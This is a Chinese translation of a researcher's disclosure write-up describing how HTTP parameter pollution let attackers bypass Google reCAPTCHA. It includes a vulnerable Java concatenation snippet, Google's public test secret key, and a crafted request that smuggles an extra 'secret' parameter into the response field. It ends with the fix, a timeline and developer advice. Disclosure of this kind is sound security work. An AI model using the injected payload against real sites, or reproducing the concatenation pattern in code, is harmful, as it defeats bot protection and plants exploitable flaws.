簡述
今年1月，作者向Goole提交了一個關於reCAPTCHA驗證碼繞過的漏洞，該漏洞的繞過方法是需要web應用通過 reCAPTCHA 以一種不安全的方式來處理，然後發送到/recaptcha/api/siteverify的請求。當遇到這種情況是，攻擊者都能繞過reCAPTCHA的安全驗證機制。目前，谷歌從reCAPTCHA API的頂層接口上對這個漏洞進行了修復，且不需要對Web應用程序進行任何修改。本文將介紹如何通過HTTP參數汙染繞過RECAPTCHA機制。
reCAPTCHA驗證機制
reCAPTCHA是Google提供的一項免費驗證服務，可允許web應用開發者將驗證碼認證（CAPTCHA ）機制添加到他們的自主網站當中。reCAPTCHA是一項非常複雜的服務：會根據已存在的cookies來選擇信任用戶，或通過用戶手動地去完成一些它提供的識別測試。接下來要介紹的是發現漏洞的情況。
當Web應用要測試用戶時，，Google會提供一個圖像集並使用Java代碼在瀏覽器中顯示，如下圖：
當用戶點擊驗證碼CAPTCHA進行“驗證”（Verify）時，就會觸發一個指向網站的HTTP請求，該請求大致如下：
POST /verify-recaptcha-response HTTP/1.1Host: vulnerable-app.com
recaptcha-response={reCAPTCHA-generated-hash}
收到請求後，web應用程序需要向Google的reCAPTCHA API發送一個請求來驗證用戶的響應：
POST /recaptcha/api/siteverify HTTP/1.1Content-Length: 458Host: www.google.comContent-Type: application/x-www-form-urlencoded
recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}
Web應用程序需要使用{application-secret}進行身份驗證，並向API發送{reCAPTCHA- generated-hash}來查詢結果。如果用戶的回答無誤後，則API的反饋信息如下：
HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8Content-Length: 90
{“success”: true,“challenge_ts”: “2018-01-29T17:58:36Z”,“hostname”: “…”}
最後，Web應用將接受並處理該響應信息，最終用戶被允許訪問相應的網站資源。
HTTP參數汙染
HTTP參數汙染在客戶端和服務器端之間幾乎無處不在，相關的風險很大程度是取決於上下文，在某些特定的情況下，很可能會導致數據洩露。但大多數情況下是處於低風險的。
繞過reCAPTCHA認證需要web應用中存在HTTP參數汙染，該項要求大大降低了Google對此漏洞報告的嚴重性。易受攻擊的Web應用程序示例如下所示：
private String sendPost(String CaptchaResponse, String Secret) throws Exception {
String url = “https://www.google.com/recaptcha/api/siteverify”+”?response=”+CaptchaResponse+”&secret=”+Secret;URL obj = new URL(url);HttpsURLConnection con = (HttpsURLConnection) obj.openConnection();
其中字符串拼接用於創建* url *變量。
同樣需要注意的還有Google服務端，發送以下兩個HTTP請求，會得到相同的響應消息。
POST /recaptcha/api/siteverify HTTP/1.1Host: www.google.com…
recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}
POST /recaptcha/api/siteverify HTTP/1.1Host: www.google.com…
recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}&secret={another-secret-application-secret}
谷歌的reCAPTCHA API 始終使用請求中的第一個secret參數，並忽略第二個。嚴格來說，這不是一個reCAPTCHA API 本身存在的漏洞，但存在被利用的網絡風險。
問題的關鍵
Web開發人員需要用自動化的方法來測試他們的應用程序，為此Google提供一種簡單的方法在臨時環境“禁用”reCAPTCHA驗證。這可通過Google說明文檔來參考。總之，如果要禁用reCAPTCHA驗證，必須要使用編碼網站和密鑰：
Site key: 6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI
Secret key: 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe
整合
現在所有的要素已具備，接下來介紹如何利用：
POST /verify-recaptcha-response HTTP/1.1Host: vulnerable-app.com
recaptcha-response=anything%26secret%3d6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe
如果web應用存在http參數汙染漏洞，並且該url是通過在secret參數之前拼通過添加response參數來構建的，則攻擊者可以繞過reCAPTCHA驗證。請注意，我正在向易受攻擊的Web應用程序發送特定響應，其中包含：
anything: 代表一個佔位符
%26: url編碼的“&”符號字符
secret: 要進行“注入”的參數名稱
%3d: url編碼的“=”符號字符
6Le…JWe: 禁用 reCAPTCHA 驗證響應驗證的密鑰
當滿足攻擊要求時，Web應用程序會將下列HTTP請求發送到reCAPTCHA API：
POST /recaptcha/api/siteverify HTTP/1.1Host: www.google.comContent-Type: application/x-www-form-urlencodedUser-Agent: Python-urllib/2.7
recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe&secret=6LeYIbsSAAAAAJezaIq3Ft_hSTo0YtyeFG-JgRtu
請注意，該請求包含兩個secret參數，第一個由攻擊者控制（易受攻擊的Web應用程序中的HTTP參數汙染），第二個由應用程序本身控制。鑑於reCAPTCHA API使用第一個，對此請求的響應總是：
HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8Content-Length: 90
{“success”: true,“challenge_ts”: “2018-01-29T17:58:36Z”,“hostname”: “…”}
這將由Web應用程序處理，reCAPTCHA 會被禁用而繞過，而攻擊者也將被授予訪問權限。
FIXED UPSTREAM固定上行
而Google決定在他們的REST API中修復該問題，作者認為這是明智的舉措。雖然Google給出的解決方案是十分簡單的。具體如下：如果/recaptcha/api/siteverify的HTTP請求包含兩個相同的參數，就會返回一個錯誤的消息。
通過這種簡單的方法，就可以保護易受HTTP參數汙染攻擊和reCAPTCHA繞過攻擊的Web應用程序，並且不需要更新任何補丁。
在實戰中引用
要在Web應用程序中利用該漏洞，必須滿足兩個要求：
第一，Web應用程序在reCAPTCHA url創建時存在HTTP參數汙染漏洞：Github搜索顯示，有60％集成有reCAPTCHA驗證方式的Web開發架構會受到HTTP參數汙染攻擊。
第二：易受HTTP參數汙染攻擊的Web應用先要創建具有響應參數的URL，然後在創建secret參數，即：“response=…&secret=…”。這時候就會出現大多數應用使用的是“secret=…&response=…”的奇怪現象。因此作者猜測可能是因為Google文檔和代碼示例也是這種做法，所以很多人直接參考了。不然的話，該漏洞將會影響更多的網站。而GitHub搜索顯示只有5％到10％的reCAPTCHA驗證機制存符合這種情況。
因此，如果在實戰中利用這一點，那麼只有約3%使用reCAPTCHA的網站存在這個漏洞，這似乎還是比較樂觀的數字概率，畢竟比其他漏洞的風險少了很多。
總結
· 作為開發者: 切勿使用字符串連接來創建查詢字符串。使用字典存儲鍵和值，然後進行url編碼。
· 作為應用程序安全專家: HTTP參數汙染是你的研究對象。
時間軸
2018-1-29 / 漏洞被提交到Google
2018-1-30 / Google回應稱reCAPTCHA功能正常
2018-1-31 / 作者請求Google再看一遍報告
2018-1-31 / Google要求更多細節
2018-2-1 / Google確認漏洞
2018-2-15 / Google獎勵500美元。獎金捐給了慈善機構。
2018-3-25 / 補丁發佈
本文由數安時代GDCA翻譯自：https://andresriancho.com/如若轉載，請註明原文地址：https://www.trustauth.cn/wiki/26096.html
閱讀更多 GDCA數安時代 的文章
